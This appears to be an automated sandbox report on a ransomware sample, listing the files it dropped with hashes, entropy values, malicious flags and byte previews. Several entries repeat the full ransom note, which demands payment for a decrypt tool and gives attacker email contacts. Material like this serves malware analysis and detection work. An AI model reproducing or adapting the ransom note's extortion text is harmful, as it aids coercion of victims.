                                                                                                                                        SHA-512:CBEB6326DA78C955B1BC9EE2E93D2BD57A4B972AD8D0B6E20C6FC7FE61C42DE1703602A1B5131D8D99C1DC734AB88A49A13B68588EC676F5A060D54142447026
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:t.l..+v!z.cI:.$..az..Z.N...g../.. .L..R....>...f.b..cTF@.E..yJ.8 (...#...R.A..-.I.KKq..//(C...-<..Y2...V........&3...2....>....3..Zb..~.CT..K+....:......<.+<0..:.c%..8.3.O(.<...Q.;..C..=..m./....-.oUZ.......%.0..M.aX...P.3g.........}.-...S.mYi>....z.Z.-u....i.]...`...+...../y..Vg...lk0...-/...*..2mJ.kdpsQ...b[.......t.V9.7..g..u...J3.8B.~b/.A..2L.qWE.........../v.....6sl..!....7?d%Y..B.h...8:..}I......*.=.v.BL..n#.......D..fn.....,.[..x....f]4....j..F..b....n..,.o*E/....'....d._t}..*.p..?.>?..........Uxa&"0.a".*...H..=.=.....J.2..."r&U.2....9.D...[.3.[..(Nk..<c.*.o5.......[..Z..u #053.E.|N..U&.}8...F.Q.zd`.....H....&PM.c.-...ZD..ju..u#$..2...G..}...Xh...(~a#j.....7.....M0e.P.."......X..JMe. 0......x......m.....Q...y..C.....I.....'e....ATv.8)1\.!..Z....X....~....;...j.Q@...M...Dy;`?L.r...s?S...v.~.E.nk).V.H...Q..g....pR..-....%..9......Z.F.........W.z.MA.".^..V.X.Y..2CX...m..q.I..r+v.Z..+.HD......Us`k.......:i\....w5p..5S....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.155264735239754
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:aZT8P89W2lCojinNPj3qXqjMsM3HmApO2ZmllXHz4yydD0Cn:AZAJ+GPLWvCGT4zXHsTN0Cn
                                                                                                                                        MD5:6785ABFCFBC193E650E9917621035C09
                                                                                                                                        SHA1:D461A528F0F7007E47E2B96973F39B8C55C1CC43
                                                                                                                                        SHA-256:35154E139F8076A8CB0FE46201868451121F560F687A8E8B48F59FF5511D3968
                                                                                                                                        SHA-512:2AB067E3C9B31150D20B44C568CF8CE2005206F2A4FEDD7AC08B072B268C7CC1673D100D97C7A1C0B3238CB97C129CECA85A52679A4664D812F16C96257A3EA9
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:.*$..W`....!v.$..........6UF6f.:...R..v...6.T.$..H..w1.rF....aDo..e....m...L........h..5.f.f~.n_>\.,A...x_.}k1.f...I......[..<...<7.p..)...8...Y.&..7....>.MdFi.m.....-.7.BD.:...mz........x0b.$..#.../s..C.7*.M;........g.&.q.......l..8,....@..bz....o..7A....g..M..80xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):49418
                                                                                                                                        Entropy (8bit):1.1550789977071265
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:K61QG3Z4Giay/gTO+cqxCAjfki6O3tq5jFXQC0SAGuaI5uhZF6bgx:K61QAZBiH+Op3A7f/tq5jiFSNdZF6bgx
                                                                                                                                        MD5:30352C0446E3725826ADAB9213569CB2
                                                                                                                                        SHA1:15A7FCD43E8F0415F6660CDB812655855FE58248
                                                                                                                                        SHA-256:2EA4B9C2BB3B07F56565BA51171209F55845DE98DE9822D1E1F8BC3D71174DC7
                                                                                                                                        SHA-512:8B3549B908CE7CEA8E5C059684DD6E4359B8894FD4C09AC197C7388C62EFD705A1ACB74C6FDEC02F15CC7DE1E7BE66AC2DA93B578FE3E93121B9A6B2501E3EBC
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.^....+4'(.]......x...=2.....U.n..F.......z.G.m..ab}c%K....J.-..H7.F..Ki......9z<.~u..iP.P..os...tw".Sz....:..oOk.....).Yqm/Ko.&.F<.._.3..]en(..K.]".OP.rW[...Hj....=...y.Z...,......M.k..q..D[.....r-RA...Yx.......?.g..e......^..\........".W.z2[.=#}..we.y0c.3ks.N0.........d/...:.../.N.l.....&.....?,&.}.....N.,T.R....&iD...2##.?r..)..[W..:...c.p.z........F4.Z.#(.>.?.9M[.t^........*..'M.4..v.LQ]Yud.w.....1dc..jc..uH.1.~<.*....:..C.3.W.......-.,.VP...)D|....^X..,A..hf.%.`.{.....03.........E_..K.%s..E.K....'.....}.%=._.k.."...H........]7..{L.}f.F9...<u....).k..tu.!...C.c.2!?...c.......zo..v{%d.\.....p...Y...xr.....6;.K1.p.Bq.D..tbm@..l.7y.1..k.V..{T.......M}.j.r\..e.4<j.C+x..(~4[.....p..$.6.q.!.A.........0.....7]'....dc.....j>...(...< X.bb.=#..Y..n#...F.......h.U).0...=......E9I.^...M..|.._].nn.&......Qo.,.?...!..,O.8.]aj...M..x.....>....s.......,s..Z..fL..$b...C.......6.ME......'m.}...k...{........|O*>..&.s../......m.P(*:..`...5V/..H.
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):614666
                                                                                                                                        Entropy (8bit):4.400294912172466
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6144:LEqX5ocEznRYpiGXEwCr2nhtk3QuHCEMaNF7fJ/o7y:LnX+cEeiGXEwCKnhMQ7aNZBgy
                                                                                                                                        MD5:555B998C8444DAA1196EF9994B84689D
                                                                                                                                        SHA1:B148DB91197213724296FF31606A25BA5119C6AA
                                                                                                                                        SHA-256:F6AA21C2C02EA5C106B560C16D6A6C8284FEB296D9D540A25877D5659A81F1A5
                                                                                                                                        SHA-512:B694DC059BCA9255E512942499177A4D0C0642A436F4CBFCB77B3ABCDCF0DC249E01072EFE06978AEFB2241E319427AC65565DA47C0A9DC7D9E92638FA337E10
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:*........*@b.5..n.m......)[.O. ..u....l.........i.`.....C...H.KB.D...o...."..].r..N..s.+....@.P.......#..7.L?...e6...>..s/$...fd....\..._.ku..e.m~x.$[...6.h.o.Z[pk........?5.....*..R.L......*.......J..*....W.QR}..0......|N9.+...rK..X.P..7g...k.Fh?0m/%J.J^..sA..KI..#G....e&`...f.........IWk@.Dg.o..&..,QL..."....L?..z.F.(<.. c...?.'.).t.v.r\...A..Y:m/..,.@......=.I.R.Y..W..M.U.JZG_.C.,voyU..@u.-..%.V..U.a.Pw.....6.2..xz9..K=....ae...w..`..h%...9c....b..I.N.bs=...o..ct/#.n...%qsS.2IC.-".h$...:...e."..~%L...lo......D.Xj.....zeE.......O1.>.D.U.&&..S..\..6...g.%....Z`U^.F...M........c..xo..T.pDaW...........qU....E"&+FD.W_q.s-X.1.o.T.iKN=..e..p...N........K..]..B....2E.\.P)..c.......B.>..4....%.~.z2..t.....Xs.)...=...............xu.~....Io.........7...........]...i..-#..Ym.5..8.....P.-f.6.......z n.:..5...Q...D"}....E.#.T...|1....u........"....Z\Lo .i...r...lZ.I........r..m.$.I".qr^.>%>..6z...jCT.g..?..( b.hK..BHo.L...D.i.........j.....4?^..R.).n%...#...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.604169065465752
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:+n5jnQA2jZhs1P6AQhRKqvFckXKKLmP8hOM4UmFpUX6p:+5F2f8EHjGk8Up4ZF86p
                                                                                                                                        MD5:1F56D741FB8ECA5C29DA75E5A793626A
                                                                                                                                        SHA1:AF8768C7D1845F490F302D7EEA0535C6FCC55077
                                                                                                                                        SHA-256:892C60A3920253A12C9539F3BF63DAB1E7DF8A5214FB73AA5C27FC964D0A6651
                                                                                                                                        SHA-512:ADDE41AA7DDCF0100048C12DF24DC55D9DAD695E1190C66E0216957CA63358649DEFBBE72E9C022D795D873BF4470AD4E1E51932938249E014BD341CF611E928
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..Ix.@..N..X5ig.....<K...X....)..e]O.A)|.*.........r=......&....j.....O'o.>+..yr.^. :N>.n...r.nvB.>...U....m.?..Wn.....X..w6..r8...WCp^.W...*..(..km=...Q(j.Ub....}O)a$...S.sn...9....8.W...&..[.....[....3...=..._T..z.T.\<...Q..6......U..AR.Q].&@...{.".w.F.z.$)8w ...K]n..kb........p\.....X.b....3..9...$..|".$....4}.R........!.p.._rx.V........6..|.).R...a+t..H......t..Sy<.!)...X.T.|*E3..&...~.K..~..YVn.@p...*.E....`..\..O.N{.j....V...A.VP.vi.xD...a]!.O~...#.z.;+}.h....8..8..!4.<.g.[].;....da.2.U.)l#).c..#........Qy..48_...,2g7.>1..\..h\.O.K....i....{.^..'Y.Fn.2C......6n:.."3.....6.[..U..Z..G}.b....{.~....w......t.?o.L. ..<@.........H......x..}..b.tf..d..sf.g,.......^.h.........?.........o..<.&..}....}....9GP)....dm...kES...e.E...8$....@O.c.Hg.......q../]S &5z-..G....ZO......N.. J.u......F(4.\%.Sd.{..U4,.U...............h6...S..R.~.....r...[...8]:......../;..[o..2.k^..],.$c.....G.p2......}..cW...H..si.y..%._$.R.......5"X./..b.o)8b..M<A....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):33034
                                                                                                                                        Entropy (8bit):1.604169065465752
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:+n5jnQA2jZhs1P6AQhRKqvFckXKKLmP8hOM4UmFpUX6p:+5F2f8EHjGk8Up4ZF86p
                                                                                                                                        MD5:1F56D741FB8ECA5C29DA75E5A793626A
                                                                                                                                        SHA1:AF8768C7D1845F490F302D7EEA0535C6FCC55077
                                                                                                                                        SHA-256:892C60A3920253A12C9539F3BF63DAB1E7DF8A5214FB73AA5C27FC964D0A6651
                                                                                                                                        SHA-512:ADDE41AA7DDCF0100048C12DF24DC55D9DAD695E1190C66E0216957CA63358649DEFBBE72E9C022D795D873BF4470AD4E1E51932938249E014BD341CF611E928
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..Ix.@..N..X5ig.....<K...X....)..e]O.A)|.*.........r=......&....j.....O'o.>+..yr.^. :N>.n...r.nvB.>...U....m.?..Wn.....X..w6..r8...WCp^.W...*..(..km=...Q(j.Ub....}O)a$...S.sn...9....8.W...&..[.....[....3...=..._T..z.T.\<...Q..6......U..AR.Q].&@...{.".w.F.z.$)8w ...K]n..kb........p\.....X.b....3..9...$..|".$....4}.R........!.p.._rx.V........6..|.).R...a+t..H......t..Sy<.!)...X.T.|*E3..&...~.K..~..YVn.@p...*.E....`..\..O.N{.j....V...A.VP.vi.xD...a]!.O~...#.z.;+}.h....8..8..!4.<.g.[].;....da.2.U.)l#).c..#........Qy..48_...,2g7.>1..\..h\.O.K....i....{.^..'Y.Fn.2C......6n:.."3.....6.[..U..Z..G}.b....{.~....w......t.?o.L. ..<@.........H......x..}..b.tf..d..sf.g,.......^.h.........?.........o..<.&..}....}....9GP)....dm...kES...e.E...8$....@O.c.Hg.......q../]S &5z-..G....ZO......N.. J.u......F(4.\%.Sd.{..U4,.U...............h6...S..R.~.....r...[...8]:......../;..[o..2.k^..],.$c.....G.p2......}..cW...H..si.y..%._$.R.......5"X./..b.o)8b..M<A....
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.195360013295549
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:8GCPWWbNUMrAVHXkfGBI1ci3gATJpp2FT5ZNDrcq6ui9wzF93i/dmn:8GMWWOMroXkfGB+BNPpi1Z+NE9uwn
                                                                                                                                        MD5:231DC106017149AA4B9EE75E6CB29D53
                                                                                                                                        SHA1:F7A60223A05F5FA236EF72777BA0DE78C6686A2C
                                                                                                                                        SHA-256:D307B6A4DD745B6CBAFBEBD32317C5640869850F5C94E7A5B9AA827A7F2A7CF1
                                                                                                                                        SHA-512:9C9489214A460ABB413FA6EEEA15CD6B65EF08EABAB13C8092F24029EEBA813062F1DDD7BE0495737CC6EC71C724091558765866C893F4AF9AD1AC0615B08A20
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:|.\.c.B.f."..............wT..z$...H..-O.[*.W.....F....WB....j.{..~d...8*.?.sX#.....9S.}...?.yw.5DC."~.EvVZ.Q....s...2X....9..../..SM...~YW6f.;G.W.'&P.l.U. v.;CG.T.JMu0...y.m..=F0.C...=..3...g...........DS.b&..~..6.~..n....t......{..(./.%S"Kz..jeu..Y.u4f..<1..C.f....!..o.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):614666
                                                                                                                                        Entropy (8bit):4.400294912172466
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6144:LEqX5ocEznRYpiGXEwCr2nhtk3QuHCEMaNF7fJ/o7y:LnX+cEeiGXEwCKnhMQ7aNZBgy
                                                                                                                                        MD5:555B998C8444DAA1196EF9994B84689D
                                                                                                                                        SHA1:B148DB91197213724296FF31606A25BA5119C6AA
                                                                                                                                        SHA-256:F6AA21C2C02EA5C106B560C16D6A6C8284FEB296D9D540A25877D5659A81F1A5
                                                                                                                                        SHA-512:B694DC059BCA9255E512942499177A4D0C0642A436F4CBFCB77B3ABCDCF0DC249E01072EFE06978AEFB2241E319427AC65565DA47C0A9DC7D9E92638FA337E10
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:*........*@b.5..n.m......)[.O. ..u....l.........i.`.....C...H.KB.D...o...."..].r..N..s.+....@.P.......#..7.L?...e6...>..s/$...fd....\..._.ku..e.m~x.$[...6.h.o.Z[pk........?5.....*..R.L......*.......J..*....W.QR}..0......|N9.+...rK..X.P..7g...k.Fh?0m/%J.J^..sA..KI..#G....e&`...f.........IWk@.Dg.o..&..,QL..."....L?..z.F.(<.. c...?.'.).t.v.r\...A..Y:m/..,.@......=.I.R.Y..W..M.U.JZG_.C.,voyU..@u.-..%.V..U.a.Pw.....6.2..xz9..K=....ae...w..`..h%...9c....b..I.N.bs=...o..ct/#.n...%qsS.2IC.-".h$...:...e."..~%L...lo......D.Xj.....zeE.......O1.>.D.U.&&..S..\..6...g.%....Z`U^.F...M........c..xo..T.pDaW...........qU....E"&+FD.W_q.s-X.1.o.T.iKN=..e..p...N........K..]..B....2E.\.P)..c.......B.>..4....%.~.z2..t.....Xs.)...=...............xu.~....Io.........7...........]...i..-#..Ym.5..8.....P.-f.6.......z n.:..5...Q...D"}....E.#.T...|1....u........"....Z\Lo .i...r...lZ.I........r..m.$.I".qr^.>%>..6z...jCT.g..?..( b.hK..BHo.L...D.i.........j.....4?^..R.).n%...#...
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4821
                                                                                                                                        Entropy (8bit):7.90332508437715
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:GOLI+7sqW7F5D2pl7tRMW5lBnlBdWZUvcyL30gsC3Rn2wsTwgCx:Gg17HW7F56r7tKczlBM0tLbsMR8Ux
                                                                                                                                        MD5:94188388C452B0A5A296730E7B1B37CB
                                                                                                                                        SHA1:077C1B15A023962EF0349B443431E75BEB8125F7
                                                                                                                                        SHA-256:09FEEB8213614E696380DF91540B11CBEAB694BE033B20EAB17E2FFBBB575F07
                                                                                                                                        SHA-512:4309C808A9C82D4042F7E0CF953FC9A2BB72B6D4DBBADACE44E34B9157CA347E05FE0FEDD172023A5EF18BA87515F91236D026E570C801198A7B48F9159D0853
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:..?..............#l......\;....o....7.(.H...S-|C......c..{a2......-u....%t.2.h1Y..=?..9.Y.D]..Pi.XnuK.h...L....5..p.....V."4..OK.$z...S.'..?2.@.LX...0C.~..g...*.?H9x;n%..j\_..c..(.DM.Z..t.~.....cz..I..3..7/...tZ.z.......>........V.1..2..rl.h...a.M.Tq..,.8.P..R.4k...'.k.B........vz5h.{.CM"LM....o.{.v.. DM.h............C.Bf-.D.~..xrzoL.J.K..W...M....;.X(...C]A.....T..q..z..$.},..l...R.!...5.<.Q.-Anw...m.|)...~.[p..y.aO.|...Z....OC..fL..Y.7W..]...Q..!..Ly.O.0.:m......me.4B.B>}O1.0....(.a.e.|;{{Y..k..QW...O......x`..}3..G...O.M.f...?..U.i.^....j..,o..7>........S..N.n......_.G.0.%..Y..{G..y.J...!B.k.m.8k.N.....!e....w.v.I/....T..6....?... ..{;9...!.)<........'...e.gc..M.XI.Q.a[.[.6...G....FY%[~...[.<..3....L.?..b;6X.;'.!.i..K.qD....6yeUb..B..H......8.....aRRj.-.ny..s.[.......g.4..='.P.\.|..........8..cBe;#..>..3.#...O=..+.a=.A-.iGF..Z.^..{..|U..M.S........(.N.$..p.}.MH.b~@...jj.`(cnW3N...x.=.5.........*.)~..g.M....W....1.6.E.....5(zL)
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4821
                                                                                                                                        Entropy (8bit):7.90332508437715
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:GOLI+7sqW7F5D2pl7tRMW5lBnlBdWZUvcyL30gsC3Rn2wsTwgCx:Gg17HW7F56r7tKczlBM0tLbsMR8Ux
                                                                                                                                        MD5:94188388C452B0A5A296730E7B1B37CB
                                                                                                                                        SHA1:077C1B15A023962EF0349B443431E75BEB8125F7
                                                                                                                                        SHA-256:09FEEB8213614E696380DF91540B11CBEAB694BE033B20EAB17E2FFBBB575F07
                                                                                                                                        SHA-512:4309C808A9C82D4042F7E0CF953FC9A2BB72B6D4DBBADACE44E34B9157CA347E05FE0FEDD172023A5EF18BA87515F91236D026E570C801198A7B48F9159D0853
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:..?..............#l......\;....o....7.(.H...S-|C......c..{a2......-u....%t.2.h1Y..=?..9.Y.D]..Pi.XnuK.h...L....5..p.....V."4..OK.$z...S.'..?2.@.LX...0C.~..g...*.?H9x;n%..j\_..c..(.DM.Z..t.~.....cz..I..3..7/...tZ.z.......>........V.1..2..rl.h...a.M.Tq..,.8.P..R.4k...'.k.B........vz5h.{.CM"LM....o.{.v.. DM.h............C.Bf-.D.~..xrzoL.J.K..W...M....;.X(...C]A.....T..q..z..$.},..l...R.!...5.<.Q.-Anw...m.|)...~.[p..y.aO.|...Z....OC..fL..Y.7W..]...Q..!..Ly.O.0.:m......me.4B.B>}O1.0....(.a.e.|;{{Y..k..QW...O......x`..}3..G...O.M.f...?..U.i.^....j..,o..7>........S..N.n......_.G.0.%..Y..{G..y.J...!B.k.m.8k.N.....!e....w.v.I/....T..6....?... ..{;9...!.)<........'...e.gc..M.XI.Q.a[.[.6...G....FY%[~...[.<..3....L.?..b;6X.;'.!.i..K.qD....6yeUb..B..H......8.....aRRj.-.ny..s.[.......g.4..='.P.\.|..........8..cBe;#..>..3.#...O=..+.a=.A-.iGF..Z.^..{..|U..M.S........(.N.$..p.}.MH.b~@...jj.`(cnW3N...x.=.5.........*.)~..g.M....W....1.6.E.....5(zL)
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):316
                                                                                                                                        Entropy (8bit):7.305042635812288
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:4qgGjaLkIxPH0G76t7/BJLfGGRCYSAz/Vl9LwHyrfq/M3WqsjL2n:4Rxk6/0/LjLeGRCydl96yrfB3WqsjL2n
                                                                                                                                        MD5:9D7E4584E83EF7C21C073B6C90066A80
                                                                                                                                        SHA1:D74695CF0513CCA4F00F590B6FAEB29BD9FDC8EF
                                                                                                                                        SHA-256:BC5A84E95BA9322EC0F8B01088F801E623594109EBEBCF9F8AC5A273ECF74AB0
                                                                                                                                        SHA-512:47E6B913C64B32A04296D70006A6562BCE7D6A1ED395AD3B2D0CED11A73989257DBFCEF56CAFC768ADD4F6D39FE25FE4075FE848659A438F65D33379CF9ACF79
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.L..O.Y.u.I.c....|BBpVqF.xL.?9....sN:|.]]..-G7}.?./my..^.y..w.5@_"..c..y.....{....w.....L.. .E........Y}.........<..N..>.S..J......m,.X.... .V.*.......I$u...lN.{.E&.N....7^........GGc-<.<...Y,=.....B..e.J..M[.nD-`.f..n.2.&.6@..|.......@_.....S.... .9.-..X4(.g.Ub....:..b.yz?,..y..p..lv.....0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):316
                                                                                                                                        Entropy (8bit):7.305042635812288
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:4qgGjaLkIxPH0G76t7/BJLfGGRCYSAz/Vl9LwHyrfq/M3WqsjL2n:4Rxk6/0/LjLeGRCydl96yrfB3WqsjL2n
                                                                                                                                        MD5:9D7E4584E83EF7C21C073B6C90066A80
                                                                                                                                        SHA1:D74695CF0513CCA4F00F590B6FAEB29BD9FDC8EF
                                                                                                                                        SHA-256:BC5A84E95BA9322EC0F8B01088F801E623594109EBEBCF9F8AC5A273ECF74AB0
                                                                                                                                        SHA-512:47E6B913C64B32A04296D70006A6562BCE7D6A1ED395AD3B2D0CED11A73989257DBFCEF56CAFC768ADD4F6D39FE25FE4075FE848659A438F65D33379CF9ACF79
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.L..O.Y.u.I.c....|BBpVqF.xL.?9....sN:|.]]..-G7}.?./my..^.y..w.5@_"..c..y.....{....w.....L.. .E........Y}.........<..N..>.S..J......m,.X.... .V.*.......I$u...lN.{.E&.N....7^........GGc-<.<...Y,=.....B..e.J..M[.nD-`.f..n.2.&.6@..|.......@_.....S.... .9.-..X4(.g.Ub....:..b.yz?,..y..p..lv.....0xABADCABA
